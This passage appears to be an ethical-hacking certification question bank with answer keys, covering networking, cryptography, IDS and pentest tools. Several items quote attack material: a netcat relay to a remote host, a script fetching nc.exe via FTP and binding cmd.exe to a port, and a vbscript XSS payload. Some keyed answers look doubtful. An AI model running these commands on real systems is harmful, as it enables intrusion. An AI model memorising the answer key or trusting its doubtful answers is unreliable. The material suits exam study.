Time:Mar 13 17:30:30 Port:443 Source:192.168.1.103
Destination:192.168.1.106 Protocol:TCP
```

What type of activity has been logged?

- A. Port scan targeting 192.168.1.103
- B. Teardrop attack targeting 192.168.1.106
- C. Denial of service attack targeting 192.168.1.103
- D. Port scan targeting 192.168.1.106

Answer: D

NEW QUESTION 271

Which of the following can the administrator do to verify that a tape backup can be recovered in its entirety?

- A. Restore a random file.
- B. Perform a full restore.
- C. Read the first 512 bytes of the tape.
- D. Read the last 512 bytes of the tape.

Answer: B

Explanation: A full restore is required.

NEW QUESTION 274

While conducting a penetration test, the tester determines that there is a firewall between the tester's machine and the target machine. The firewall is only monitoring TCP handshaking of packets at the session layer of the OSI model. Which type of firewall is the tester trying to traverse?

- A. Packet filtering firewall
- B. Application-level firewall
- C. Circuit-level gateway firewall
- D. Stateful multilayer inspection firewall

Answer: C

NEW QUESTION 277

A security consultant is trying to bid on a large contract that involves penetration testing and reporting. The company accepting bids wants proof of work so the consultant prints out several audits that have been performed. Which of the following is likely to occur as a result?

- A. The consultant will ask for money on the bid because of great work.
- B. The consultant may expose vulnerabilities of other companies.
- C. The company accepting bids will want the same type of format of testing.
- D. The company accepting bids will hire the consultant because of the great work performed.

Answer: B

NEW QUESTION 278

A botnet can be managed through which of the following?

- A. IRC
- B. E-Mail
- C. LinkedIn and Facebook
- D. A vulnerable FTP server

Answer: A

NEW QUESTION 283

What is the outcome of the comm"nc -l -p 2222 | nc 10.1.0.43 1234"?

- A. Netcat will listen on the 10.1.0.43 interface for 1234 seconds on port 2222.
- B. Netcat will listen on port 2222 and output anything received to a remote connection on 10.1.0.43 port 1234.
- C. Netcat will listen for a connection from 10.1.0.43 on port 1234 and output anything received to port 2222.
- D. Netcat will listen on port 2222 and then output anything received to local interface 10.1.0.43.

Answer: B

NEW QUESTION 288

Which results will be returned with the following Google search query? site:target.com -site:Marketing.target.com accounting

- A. Results matching all words in the query
- B. Results matching "accounting" in domain target.com but not on the site Marketing.target.com
- C. Results from matches on the site marketing.target.com that are in the domain target.com but do not include the word accounting
- D. Results for matches on target.com and Marketing.target.com that include the word "accounting"

Answer: B

NEW QUESTION 291

The use of alert thresholding in an IDS can reduce the volume of repeated alerts, but introduces which of the following vulnerabilities?

- A. An attacker, working slowly enough, can evade detection by the IDS.
- B. Network packets are dropped if the volume exceeds the threshold.
- C. Thresholding interferes with the IDS' ability to reassemble fragmented packets.
- D. The IDS will not distinguish among packets originating from different sources.

Answer: A

NEW QUESTION 296

A Network Administrator was recently promoted to Chief Security Officer at a local university. One of employee's new responsibilities is to manage the implementation of an RFID card access system to a new server room on campus. The server room will house student enrollment information that is securely backed up to an off-site location.

During a meeting with an outside consultant, the Chief Security Officer explains that he is concerned that the existing security controls have not been designed properly. Currently, the Network Administrator is

responsible for approving and issuing RFID card access to the server room, as well as reviewing the electronic access logs on a weekly basis.

Which of the following is an issue with the situation?

- A. Segregation of duties
- B. Undue influence
- C. Lack of experience
- D. Inadequate disaster recovery plan

Answer: A

NEW QUESTION 299

Which of the following techniques does a vulnerability scanner use in order to detect a vulnerability on a target service?

- A. Port scanning
- B. Banner grabbing
- C. Injecting arbitrary data
- D. Analyzing service response

Answer: D

NEW QUESTION 303

Which of the following lists are valid data-gathering activities associated with a risk assessment?

- A. Threat identification, vulnerability identification, control analysis
- B. Threat identification, response identification, mitigation identification
- C. Attack profile, defense profile, loss profile
- D. System profile, vulnerability identification, security determination

Answer: A

NEW QUESTION 305

A tester has been using the msadc.pl attack script to execute arbitrary commands on a Windows NT4 web server. While it is effective, the tester finds it tedious to perform extended functions. On further research, the tester come across a perl script that runs the following msadc functions:

```
system("perl msadc.pl -h $host -C \"echo open $your >testfile\");  
system("perl msadc.pl -h $host -C \"echo $user>>testfile\");  
system("perl msadc.pl -h $host -C \"echo $pass>>testfile\");  
system("perl msadc.pl -h $host -C \"echo bin>>testfile\");  
system("perl msadc.pl -h $host -C \"echo get nc.exe>>testfile\");  
system("perl msadc.pl -h $host -C \"echo get hacked.html>>testfile\");  
("perl msadc.pl -h $host -C \"echo quit>>testfile\");  
system("perl msadc.pl -h $host -C \"ftp -s\ :testfile\");  
$o=; print "Opening ...\n";  
system("perl msadc.pl -h $host -C \"nc -l -p $port -e cmd.exe\");
```

Which exploit is indicated by this script?

- A. A buffer overflow exploit
- B. A chained exploit
- C. A SQL injection exploit
- D. A denial of service exploit

Answer: B

NEW QUESTION 310

When an alert rule is matched in a network-based IDS like snort, the IDS does which of the following?

- A. Drops the packet and moves on to the next one
- B. Continues to evaluate the packet until all rules are checked
- C. Stops checking rules, sends an alert, and lets the packet continue
- D. Blocks the connection with the source IP address in the packet

Answer: B

NEW QUESTION 312

A hacker is attempting to use nslookup to query Domain Name Service (DNS). The hacker uses the nslookup interactive mode for the search. Which command should the hacker type into the command shell to request the appropriate records?

- A. Locate type=ns
- B. Request type=ns

- C. Set type=ns
- D. Transfer type=ns

Answer: C

NEW QUESTION 314

While checking the settings on the internet browser, a technician finds that the proxy server settings have been checked and a computer is trying to use itself as a proxy server. What specific octet within the subnet does the technician see?

- A. 10.10.10.10
- B. 127.0.0.1
- C. 192.168.1.1
- D. 192.168.168.168

Answer: B

NEW QUESTION 318

How can telnet be used to fingerprint a web server?

- A. telnet webserverAddress 80HEAD / HTTP/1.0
- B. telnet webserverAddress 80PUT / HTTP/1.0
- C. telnet webserverAddress 80HEAD / HTTP/2.0
- D. telnet webserverAddress 80PUT / HTTP/2.0

Answer: A

NEW QUESTION 322

One advantage of an application-level firewall is the ability to

- A. filter packets at the network level.
- B. filter specific commands, such as http:post.
- C. retain state information for each packet.
- D. monitor tcp handshaking.

Answer: B

NEW QUESTION 327

Which of the following is used to indicate a single-line comment in structured query language (SQL)?

- A. --
- B. ||
- C. %%
- D. "

Answer: A

NEW QUESTION 332

When using Wireshark to acquire packet capture on a network, which device would enable the capture of all traffic on the wire?

- A. Network tap
- B. Layer 3 switch
- C. Network bridge
- D. Application firewall

Answer: A

NEW QUESTION 337

What technique is used to perform a Connection Stream Parameter Pollution (CSPP) attack?

- A. Injecting parameters into a connection string using semicolons as a separator
- B. Inserting malicious Javascript code into input parameters
- C. Setting a user's session identifier (SID) to an explicit known value
- D. Adding multiple parameters with the same name in HTTP requests

Answer: A

NEW QUESTION 340

A company has publicly hosted web applications and an internal Intranet protected by a firewall. Which technique will help protect against enumeration?

- A. Reject all invalid email received via SMTP.
- B. Allow full DNS zone transfers.
- C. Remove A records for internal hosts.
- D. Enable null session pipes.

Answer: C

NEW QUESTION 341

A hacker is attempting to see which ports have been left open on a network. Which NMAP switch would the hacker use?

- A. -sO
- B. -sP
- C. -sS
- D. -sU

Answer: A

NEW QUESTION 345

Which NMAP command combination would let a tester scan every TCP port from a class C network that is blocking ICMP with fingerprinting and service detection?

- A. NMAP -PN -A -O -sS 192.168.2.0/24
- B. NMAP -P0 -A -O -p1-65535 192.168.0/24
- C. NMAP -P0 -A -sT -p0-65535 192.168.0/16
- D. NMAP -PN -O -sS -p 1-1024 192.168.0/8

Answer: B

NEW QUESTION 350

Which of the following types of firewall inspects only header information in network traffic?

- A. Packet filter
- B. Stateful inspection
- C. Circuit-level gateway
- D. Application-level gateway

Answer: A

NEW QUESTION 351

Which of the following is an example of an asymmetric encryption implementation?

- A. SHA1
- B. PGP
- C. 3DES
- D. MD5

Answer: B

NEW QUESTION 355

What is the best defense against privilege escalation vulnerability?

- A. Patch systems regularly and upgrade interactive login privileges at the system administrator level.
- B. Run administrator and applications on least privileges and use a content registry for tracking.
- C. Run services with least privileged accounts and implement multi-factor authentication and authorization.
- D. Review user roles and administrator privileges for maximum utilization of automation services.

Answer: C

NEW QUESTION 356

Which security control role does encryption meet?

- A. Preventative
- B. Detective
- C. Offensive
- D. Defensive

Answer: A

NEW QUESTION 358

In order to show improvement of security over time, what must be developed?

- A. Reports
- B. Testing tools
- C. Metrics
- D. Taxonomy of vulnerabilities

Answer: C

Explanation: Today, management demands metrics to get a clearer view of security.

Metrics that measure participation, effectiveness, and window of exposure, however, offer information the organization can use to make plans and improve programs.

References:

<http://www.infoworld.com/article/2974642/security/4-security-metrics-that-matter.html>

NEW QUESTION 363

Which type of antenna is used in wireless communication?

- A. Omnidirectional
- B. Parabolic
- C. Uni-directional
- D. Bi-directional

Answer: A

NEW QUESTION 364

How is sniffing broadly categorized?

- A. Active and passive
- B. Broadcast and unicast
- C. Unmanaged and managed
- D. Filtered and unfiltered

Answer: A

NEW QUESTION 366

Which tool can be used to silently copy files from USB devices?

- A. USB Grabber
- B. USB Dumper
- C. USB Sniffer
- D. USB Snoopy

Answer: B

NEW QUESTION 371

Diffie-Hellman (DH) groups determine the strength of the key used in the key exchange process. Which of the following is the correct bit size of the Diffie-Hellman (DH) group 5?

- A. 768 bit key
- B. 1025 bit key
- C. 1536 bit key
- D. 2048 bit key

Answer: C

NEW QUESTION 375

A newly discovered flaw in a software application would be considered which kind of security vulnerability?

- A. Input validation flaw
- B. HTTP header injection vulnerability
- C. 0-day vulnerability
- D. Time-to-check to time-to-use flaw

Answer: C

NEW QUESTION 378

Which type of scan measures a person's external features through a digital video camera?

- A. Iris scan
- B. Retinal scan
- C. Facial recognition scan
- D. Signature kinetics scan

Answer: C

NEW QUESTION 382

Which of the following is a strong post designed to stop a car?

- A. Gate
- B. Fence
- C. Bollard
- D. Reinforced rebar

Answer: C

NEW QUESTION 383

An NMAP scan of a server shows port 25 is open. What risk could this pose?

- A. Open printer sharing
- B. Web portal data leak
- C. Clear text authentication
- D. Active mail relay

Answer: D

NEW QUESTION 384

To send a PGP encrypted message, which piece of information from the recipient must the sender have before encrypting the message?

- A. Recipient's private key
- B. Recipient's public key
- C. Master encryption key
- D. Sender's public key

Answer: B

NEW QUESTION 389

Which technical characteristic do Ethereal/Wireshark, TCPDump, and Snort have in common?

- A. They are written in Java.
- B. They send alerts to security monitors.
- C. They use the same packet analysis engine.
- D. They use the same packet capture utility.

Answer: D

NEW QUESTION 393

Which of the following does proper basic configuration of snort as a network intrusion detection system require?

- A. Limit the packets captured to the snort configuration file.
- B. Capture every packet on the network segment.
- C. Limit the packets captured to a single segment.
- D. Limit the packets captured to the /var/log/snort directory.

Answer: A

NEW QUESTION 397

A penetration tester is attempting to scan an internal corporate network from the internet without alerting the border sensor. Which is the most efficient technique should the tester consider using?

- A. Spoofing an IP address
- B. Tunneling scan over SSH
- C. Tunneling over high port numbers
- D. Scanning using fragmented IP packets

Answer: B

NEW QUESTION 401

A company firewall engineer has configured a new DMZ to allow public systems to be located away from the internal network. The engineer has three security zones set:

```
Untrust (Internet) - (Remote network = 217.77.88.0/24)
DMZ (DMZ) - (11.12.13.0/24)
Trust (Intranet) - (192.168.0.0/24)
```

The engineer wants to configure remote desktop access from a fixed IP on the remote network to a remote desktop server in the DMZ. Which rule would best fit this requirement?

- A. Permit 217.77.88.0/24 11.12.13.0/24 RDP 3389
- B. Permit 217.77.88.12 11.12.13.50 RDP 3389
- C. Permit 217.77.88.12 11.12.13.0/24 RDP 3389
- D. Permit 217.77.88.0/24 11.12.13.50 RDP 3389

Answer: B

NEW QUESTION 406

How does an operating system protect the passwords used for account logins?

- A. The operating system performs a one-way hash of the passwords.
- B. The operating system stores the passwords in a secret file that users cannot find.
- C. The operating system encrypts the passwords, and decrypts them when needed.
- D. The operating system stores all passwords in a protected segment of non-volatile memory.

Answer: A

NEW QUESTION 410

John the Ripper is a technical assessment tool used to test the weakness of which of the following?

- A. Usernames
- B. File permissions
- C. Firewall rulesets
- D. Passwords

Answer: D

NEW QUESTION 412

What is the name of the international standard that establishes a baseline level of confidence in the security functionality of IT products by providing a set of requirements for evaluation?

- A. Blue Book
- B. ISO 26029
- C. Common Criteria
- D. The Wassenaar Agreement

Answer: C

NEW QUESTION 413

How can rainbow tables be defeated?

- A. Password salting
- B. Use of non-dictionary words
- C. All uppercase character passwords
- D. Lockout accounts under brute force password cracking attempts

Answer: A

NEW QUESTION 416

Which command lets a tester enumerate alive systems in a class C network via ICMP using native Windows tools?

- A. ping 192.168.2.
- B. ping 192.168.2.255
- C. for %V in (1 1 255) do PING 192.168.2.%V
- D. for /L %V in (1 1 254) do PING -n 1 192.168.2.%V | FIND /I "Reply"

Answer: D

NEW QUESTION 420

An NMAP scan of a server shows port 69 is open. What risk could this pose?

- A. Unauthenticated access
- B. Weak SSL version
- C. Cleartext login
- D. Web portal data leak

Answer: A

NEW QUESTION 423

Which of the following business challenges could be solved by using a vulnerability scanner?

- A. Auditors want to discover if all systems are following a standard naming convention.
- B. A web server was compromised and management needs to know if any further systems were compromised.
- C. There is an emergency need to remove administrator access from multiple machines for an employee that quit.
- D. There is a monthly requirement to test corporate compliance with host application usage and security policies.

Answer: D

NEW QUESTION 427

Which of the following cryptography attack methods is usually performed without the use of a computer?

- A. Ciphertext-only attack
- B. Chosen key attack
- C. Rubber hose attack
- D. Rainbow table attack

Answer: C

NEW QUESTION 432

Windows file servers commonly hold sensitive files, databases, passwords and more. Which of the following choices would be a common vulnerability that usually exposes them?

- A. Cross-site scripting
- B. SQL injection
- C. Missing patches
- D. CRLF injection

Answer: C

NEW QUESTION 435

During a penetration test, a tester finds a target that is running MS SQL 2000 with default credentials. The tester assumes that the service is running with Local System account. How can this weakness be exploited to access the system?

- A. Using the Metasploit psexec module setting the SA / Admin credential
- B. Invoking the stored procedure xp_shell to spawn a Windows command shell
- C. Invoking the stored procedure cmd_shell to spawn a Windows command shell
- D. Invoking the stored procedure xp_cmdshell to spawn a Windows command shell

Answer: D

NEW QUESTION 436

Which of the following programming languages is most vulnerable to buffer overflow attacks?

- A. Perl
- B. C++
- C. Python
- D. Java

Answer: B

NEW QUESTION 438

Passive reconnaissance involves collecting information through which of the following?

- A. Social engineering
- B. Network traffic sniffing
- C. Man in the middle attacks
- D. Publicly accessible sources

Answer: D

NEW QUESTION 440

Which of the following is a detective control?

- A. Smart card authentication
- B. Security policy
- C. Audit trail
- D. Continuity of operations plan

Answer: C

NEW QUESTION 443

The following is a sample of output from a penetration tester's machine targeting a machine with the IP address of 192.168.1.106:

```
[ATTEMPT] target 192.168.1.106 - login "root" - pass "a" 1 of 20
[ATTEMPT] target 192.168.1.106 - login "root" - pass "123" 2 of 20
[ATTEMPT] target 192.168.1.106 - login "testuser" - pass "a" 3 of 20
[ATTEMPT] target 192.168.1.106 - login "testuser" - pass "123" 4 of 20
[ATTEMPT] target 192.168.1.106 - login "admin" - pass "a" 5 of 20
[ATTEMPT] target 192.168.1.106 - login "admin" - pass "123" 6 of 20
[ATTEMPT] target 192.168.1.106 - login "" - pass "a" 7 of 20
[ATTEMPT] target 192.168.1.106 - login "" - pass "123" 8 of 20
```

What is most likely taking place?

- A. Ping sweep of the 192.168.1.106 network
- B. Remote service brute force attempt
- C. Port scan of 192.168.1.106
- D. Denial of service attack on 192.168.1.106

Answer: B

NEW QUESTION 444

A hacker searches in Google for filetype:pcf to find Cisco VPN config files. Those files may contain connectivity passwords that can be decoded with which of the following?

- A. Cupp
- B. Nessus
- C. Cain and Abel
- D. John The Ripper Pro

Answer: C

NEW QUESTION 449

An engineer is learning to write exploits in C++ and is using the exploit tool Backtrack. The engineer wants to compile the newest C++ exploit and name it calc.exe. Which command would the engineer use to accomplish this?

- A. g++ hackersExploit.cpp -o calc.exe
- B. g++ hackersExploit.py -o calc.exe
- C. g++ -i hackersExploit.pl -o calc.exe
- D. g++ --compile -i hackersExploit.cpp -o calc.exe

Answer: A

NEW QUESTION 450

Which of the following is a component of a risk assessment?

- A. Physical security
- B. Administrative safeguards
- C. DMZ
- D. Logical interface

Answer: B

NEW QUESTION 451

A company has hired a security administrator to maintain and administer Linux and Windows-based systems. Written in the nightly report file is the following: Firewall log files are at the expected value of 4 MB. The current time is 12am. Exactly two hours later the size has decreased considerably. Another hour goes by and the log files have shrunk in size again. Which of the following actions should the security administrator take?

- A. Log the event as suspicious activity and report this behavior to the incident response team immediately.
- B. Log the event as suspicious activity, call a manager, and report this as soon as possible.
- C. Run an anti-virus scan because it is likely the system is infected by malware.
- D. Log the event as suspicious activity, continue to investigate, and act according to the site's security policy.

Answer: D

NEW QUESTION 453

Pentest results indicate that voice over IP traffic is traversing a network. Which of the following tools will decode a packet capture and extract the voice conversations?

- A. Cain
- B. John the Ripper
- C. Nikto
- D. Hping

Answer: A

NEW QUESTION 457

Which solution can be used to emulate computer services, such as mail and ftp, and to capture information related to logins or actions?

- A. Firewall
- B. Honeypot
- C. Core server
- D. Layer 4 switch

Answer: B

NEW QUESTION 462

When analyzing the IDS logs, the system administrator noticed an alert was logged when the external router was accessed from the administrator's computer to update the router configuration. What type of an alert is this?

- A. False positive
- B. False negative
- C. True positive
- D. True negative

Answer: A

NEW QUESTION 467

A security engineer is attempting to map a company's internal network. The engineer enters in the following NMAP command:

NMAP -n -sS -P0 -p 80 ***.***.**.* What type of scan is this?

- A. Quick scan
- B. Intense scan
- C. Stealth scan
- D. Comprehensive scan

Answer: C

NEW QUESTION 468

A recently hired network security associate at a local bank was given the responsibility to perform daily scans of the internal network to look for unauthorized devices. The employee decides to write a script that will scan the network for unauthorized devices every morning at 5:00 am.

Which of the following programming languages would most likely be used?

- A. PHP
- B. C#
- C. Python
- D. ASP.NET

Answer: C

NEW QUESTION 472

During a penetration test, a tester finds that the web application being analyzed is vulnerable to Cross Site Scripting (XSS). Which of the following conditions must be met to exploit this vulnerability?

- A. The web application does not have the secure flag set.
- B. The session cookies do not have the HttpOnly flag set.
- C. The victim user should not have an endpoint security solution.
- D. The victim's browser must have ActiveX technology enabled.

Answer: B

NEW QUESTION 474

What is the correct PCAP filter to capture all TCP traffic going to or from host 192.168.0.125 on port 25?

- A. tcp.src == 25 and ip.host == 192.168.0.125
- B. host 192.168.0.125:25
- C. port 25 and host 192.168.0.125
- D. tcp.port == 25 and ip.host == 192.168.0.125

Answer: D

NEW QUESTION 477

Which of the following items of a computer system will an anti-virus program scan for viruses?

- A. Boot Sector
- B. Deleted Files
- C. Windows Process List
- D. Password Protected Files

Answer: A

NEW QUESTION 482

Which of the following is an example of two factor authentication?

- A. PIN Number and Birth Date
- B. Username and Password
- C. Digital Certificate and Hardware Token
- D. Fingerprint and Smartcard ID

Answer: D

NEW QUESTION 487

Which statement is TRUE regarding network firewalls preventing Web Application attacks?

- A. Network firewalls can prevent attacks because they can detect malicious HTTP traffic.
- B. Network firewalls cannot prevent attacks because ports 80 and 443 must be opened.
- C. Network firewalls can prevent attacks if they are properly configured.
- D. Network firewalls cannot prevent attacks because they are too complex to configure.

Answer: B

Explanation: Network layer firewalls, also called packet filters, operate at a relatively low level of the TCP/IP protocol stack, not allowing packets to pass through the firewall unless they match the established rule set. To prevent Web Application attacks an Application layer firewall would be required.

References: [https://en.wikipedia.org/wiki/Firewall_\(computing\)#Network_layer_or_packet_filters](https://en.wikipedia.org/wiki/Firewall_(computing)#Network_layer_or_packet_filters)

NEW QUESTION 490

What is the broadcast address for the subnet 190.86.168.0/22?

- A. 190.86.168.255
- B. 190.86.255.255
- C. 190.86.171.255
- D. 190.86.169.255

Answer: C

NEW QUESTION 492

A bank stores and processes sensitive privacy information related to home loans. However, auditing has never been enabled on the system. What is the first step that the bank should take before enabling the audit feature?

- A. Perform a vulnerability scan of the system.
- B. Determine the impact of enabling the audit feature.
- C. Perform a cost/benefit analysis of the audit feature.
- D. Allocate funds for staffing of audit log review.

Answer: B

NEW QUESTION 496

Which of the following viruses tries to hide from anti-virus programs by actively altering and corrupting the chosen service call interruptions when they are being run?

- A. Cavity virus
- B. Polymorphic virus
- C. Tunneling virus
- D. Stealth virus

Answer: D

NEW QUESTION 498

A large company intends to use Blackberry for corporate mobile phones and a security analyst is assigned to evaluate the possible threats. The analyst will use the Blackjacking attack method to demonstrate how an attacker could circumvent perimeter defenses and gain access to the corporate network. What tool should the analyst use to perform a Blackjacking attack?

- A. Paros Proxy
- B. BBProxy
- C. BBCrack
- D. Blooover

Answer: B

Explanation: Blackberry users warned of hacking tool threat.

Users have been warned that the security of Blackberry wireless e-mail devices is at risk due to the availability this week of a new hacking tool. Secure Computing Corporation said businesses that have installed Blackberry servers behind their gateway security devices could be vulnerable to a hacking attack from a tool call BBProxy.

References:

<http://www.computerweekly.com/news/2240062112/Technology-news-in-brief>

NEW QUESTION 503

Which of the statements concerning proxy firewalls is correct?

- A. Proxy firewalls increase the speed and functionality of a network.
- B. Firewall proxy servers decentralize all activity for an application.
- C. Proxy firewalls block network packets from passing to and from a protected network.
- D. Computers establish a connection with a proxy firewall which initiates a new network connection for the client.

Answer: D

NEW QUESTION 506

Which of the following parameters enables NMAP's operating system detection feature?

- A. NMAP -sV
- B. NMAP -oS
- C. NMAP -sR
- D. NMAP -O

Answer: D

NEW QUESTION 508

A security analyst in an insurance company is assigned to test a new web application that will be used by clients to help them choose and apply for an insurance plan. The analyst discovers that the application is developed in ASP scripting language and it uses MSSQL as a database backend. The analyst locates the

application's search form and introduces the following code in the search input field:

```
IMG SRC=vbscript:msgbox("Vulnerable");> originalAttribute="SRC"
originalPath="vbscript:msgbox ("Vulnerable");>"
```

When the analyst submits the form, the browser returns a pop-up window that says "Vulnerable". Which web applications vulnerability did the analyst discover?

- A. Cross-site request forgery
- B. Command injection
- C. Cross-site scripting
- D. SQL injection

Answer: C

NEW QUESTION 509

Which of the following is a symmetric cryptographic standard?

- A. DSA
- B. PKI
- C. RSA
- D. 3DES

Answer: D

NEW QUESTION 513

Which of the following is a hardware requirement that either an IDS/IPS system or a proxy server must have in order to properly function?

- A. Fast processor to help with network traffic analysis
- B. They must be dual-homed
- C. Similar RAM requirements
- D. Fast network interface cards

Answer: B

Explanation: Dual-homed or dual-homing can refer to either an Ethernet device that has more than one network interface, for redundancy purposes, or in firewall technology, dual-homed is one of the firewall architectures, such as an IDS/IPS system, for implementing preventive security.

References: <https://en.wikipedia.org/wiki/Dual-homed>

NEW QUESTION 518

Which of the following settings enables Nessus to detect when it is sending too many packets and the network pipe is approaching capacity?

- A. Netstat WMI Scan
- B. Silent Dependencies
- C. Consider unscanned ports as closed
- D. Reduce parallel connections on congestion

Answer: D

NEW QUESTION 519

What is the most secure way to mitigate the theft of corporate information from a laptop that was left in a hotel room?

- A. Set a BIOS password.
- B. Encrypt the data on the hard drive.
- C. Use a strong logon password to the operating system.
- D. Back up everything on the laptop and store the backup in a safe place.

Answer: B

NEW QUESTION 520

A computer science student needs to fill some information into a secured Adobe PDF job application that was received from a prospective employer. Instead of requesting a new document that allowed the forms to be completed, the student decides to write a script that pulls passwords from a list of commonly used passwords to try against the secured PDF until the correct password is found or the list is exhausted.

Which cryptography attack is the student attempting?

- A. Man-in-the-middle attack
- B. Brute-force attack
- C. Dictionary attack
- D. Session hijacking

Answer: C

NEW QUESTION 522

Firewalk has just completed the second phase (the scanning phase) and a technician receives the output shown below. What conclusions can be drawn based on these scan results?

```
TCP port 21 - no response
TCP port 22 - no response
TCP port 23 - Time-to-live exceeded
```

- A. The firewall itself is blocking ports 21 through 23 and a service is listening on port 23 of the target host.
- B. The lack of response from ports 21 and 22 indicate that those services are not running on the destination server.
- C. The scan on port 23 passed through the filtering device.
- D. This indicates that port 23 was not blocked at the firewall.
- E. The scan on port 23 was able to make a connection to the destination host prompting the firewall to respond with a TTL error.

Answer: C

NEW QUESTION 523

What is the main advantage that a network-based IDS/IPS system has over a host-based solution?

- A. They do not use host system resources.
- B. They are placed at the boundary, allowing them to inspect all traffic.
- C. They are easier to install and configure.
- D. They will not interfere with user interfaces.

Answer: A

NEW QUESTION 524

Which of the following identifies the three modes in which Snort can be configured to run?

- A. Sniffer, Packet Logger, and Network Intrusion Detection System
- B. Sniffer, Network Intrusion Detection System, and Host Intrusion Detection System
- C. Sniffer, Host Intrusion Prevention System, and Network Intrusion Prevention System
- D. Sniffer, Packet Logger, and Host Intrusion Prevention System

Answer: A

NEW QUESTION 525

When creating a security program, which approach would be used if senior management is supporting and enforcing the security policy?

- A. A bottom-up approach
- B. A top-down approach
- C. A senior creation approach
- D. An IT assurance approach

Answer: B

NEW QUESTION 526

A pentester is using Metasploit to exploit an FTP server and pivot to a LAN. How will the pentester pivot using Metasploit?

- A. Issue the pivot exploit and set the meterpreter.
- B. Reconfigure the network settings in the meterpreter.
- C. Set the payload to propagate through the meterpreter.
- D. Create a route statement in the meterpreter.

Answer: D

NEW QUESTION 527

A hacker was able to sniff packets on a company's wireless network. The following information was discovered:

```
The Key 10110010 01001011
The Cyphertext 01100101 01011010
```

Using the Exclusive OR, what was the original message?

- A. 00101000 11101110
- B. 11010111 00010001
- C. 00001101 10100100
- D. 11110010 01011011

Answer: B

NEW QUESTION 532

What statement is true regarding LM hashes?

- A. LM hashes consist in 48 hexadecimal characters.
- B. LM hashes are based on AES128 cryptographic standard.
- C. Uppercase characters in the password are converted to lowercase.
- D. LM hashes are not generated when the password length exceeds 15 characters.

Answer: D

Explanation: Topic 3, Exam Pool C

NEW QUESTION 536

When does the Payment Card Industry Data Security Standard (PCI-DSS) require organizations to perform external and internal penetration testing?

- A. At least once a year and after any significant upgrade or modification
- B. At least once every three years or after any significant upgrade or modification
- C. At least twice a year or after any significant upgrade or modification
- D. At least once every two years and after any significant upgrade or modification

Answer: A

NEW QUESTION 538

Which of the following describes a component of Public Key Infrastructure (PKI) where a copy of a private key is stored to provide third-party access and to facilitate recovery operations?

- A. Key registry
- B. Recovery agent
- C. Directory
- D. Key escrow

Answer: D

NEW QUESTION 541

A certified ethical hacker (CEH) is approached by a friend who believes her husband is cheating. She offers to pay to break into her husband's email account in order to find proof so she can take him to court. What is the ethical response?

- A. Say no; the friend is not the owner of the account.
- B. Say yes; the friend needs help to gather evidence.
- C. Say yes; do the job for free.
- D. Say no; make sure that the friend knows the risk she's asking the CEH to take.

Answer: A

NEW QUESTION 546

A computer technician is using a new version of a word processing software package when it is discovered that a special sequence of characters causes the entire computer to crash. The technician researches the bug and discovers that no one else experienced the problem. What is the appropriate next step?

- A. Ignore the problem completely and let someone else deal with it.
- B. Create a document that will crash the computer when opened and send it to friends.
- C. Find an underground bulletin board and attempt to sell the bug to the highest bidder.
- D. Notify the vendor of the bug and do not disclose it until the vendor gets a chance to issue a fix.

Answer: D

NEW QUESTION 551

Which of the following guidelines or standards is associated with the credit card industry?

- A. Control Objectives for Information and Related Technology (COBIT)
- B. Sarbanes-Oxley Act (SOX)
- C. Health Insurance Portability and Accountability Act (HIPAA)
- D. Payment Card Industry Data Security Standards (PCI DSS)

Answer: D

NEW QUESTION 554

How can a policy help improve an employee's security awareness?

- A. By implementing written security procedures, enabling employee security training, and promoting the benefits of security
- B. By using informal networks of communication, establishing secret passing procedures, and immediately terminating employees
- C. By sharing security secrets with employees, enabling employees to share secrets, and establishing a consultative help line
- D. By decreasing an employee's vacation time, addressing ad-hoc employment clauses, and ensuring that managers know employee strengths

Answer: A

NEW QUESTION 556

The Open Web Application Security Project (OWASP) testing methodology addresses the need to secure web applications by providing which one of the following services?

- A. An extensible security framework named COBIT
- B. A list of flaws and how to fix them
- C. Web application patches
- D. A security certification for hardened web applications

Answer: B

NEW QUESTION 558

Which element of Public Key Infrastructure (PKI) verifies the applicant?

- A. Certificate authority
- B. Validation authority
- C. Registration authority
- D. Verification authority

Answer: C

NEW QUESTION 562

When comparing the testing methodologies of Open Web Application Security Project (OWASP) and Open Source Security Testing Methodology Manual (OSSTMM) the main difference is

- A. OWASP is for web applications and OSSTMM does not include web applications.
- B. OSSTMM is gray box testing and OWASP is black box testing.
- C. OWASP addresses controls and OSSTMM does not.
- D. OSSTMM addresses controls and OWASP does not.

Answer: D

NEW QUESTION 567

Which of the following is an advantage of utilizing security testing methodologies to conduct a security audit?

- A. They provide a repeatable framework.
- B. Anyone can run the command line scripts.
- C. They are available at low cost.
- D. They are subject to government regulation.

Answer: A

NEW QUESTION 571

For messages sent through an insecure channel, a properly implemented digital signature gives the receiver reason to believe the message was sent by the claimed sender. While using a digital signature, the message digest is encrypted with which key?

- A. Sender's public key
- B. Receiver's private key
- C. Receiver's public key
- D. Sender's private key

Answer: D

NEW QUESTION 573

SOAP services use which technology to format information?

- A. SATA
- B. PCI
- C. XML
- D. ISDN

Answer: C

NEW QUESTION 576

Which security strategy requires using several, varying methods to protect IT systems against attacks?

- A. Defense in depth
- B. Three-way handshake
- C. Covert channels
- D. Exponential backoff algorithm

Answer: A

NEW QUESTION 581

Which of the following is a characteristic of Public Key Infrastructure (PKI)?

- A. Public-key cryptosystems are faster than symmetric-key cryptosystems.
- B. Public-key cryptosystems distribute public-keys within digital signatures.
- C. Public-key cryptosystems do not require a secure key distribution channel.
- D. Public-key cryptosystems do not provide technical non-repudiation via digital signatures.

Answer: B

NEW QUESTION 582

Which of the following descriptions is true about a static NAT?

- A. A static NAT uses a many-to-many mapping.
- B. A static NAT uses a one-to-many mapping.
- C. A static NAT uses a many-to-one mapping.
- D. A static NAT uses a one-to-one mapping.

Answer: D

NEW QUESTION 587

Which of the following processes of PKI (Public Key Infrastructure) ensures that a trust relationship exists and that a certificate is still valid for specific operations?

- A. Certificate issuance
- B. Certificate validation
- C. Certificate cryptography
- D. Certificate revocation

Answer: B

NEW QUESTION 592

Which of the following levels of algorithms does Public Key Infrastructure (PKI) use?

- A. RSA 1024 bit strength
- B. AES 1024 bit strength
- C. RSA 512 bit strength
- D. AES 512 bit strength

Answer: A

NEW QUESTION 594

Which method can provide a better return on IT security investment and provide a thorough and comprehensive assessment of organizational security covering policy, procedure design, and implementation?

- A. Penetration testing
- B. Social engineering
- C. Vulnerability scanning
- D. Access control list reviews

Answer: A

NEW QUESTION 597

Which initial procedure should an ethical hacker perform after being brought into an organization?

- A. Begin security testing.
- B. Turn over deliverables.
- C. Sign a formal contract with non-disclosure.
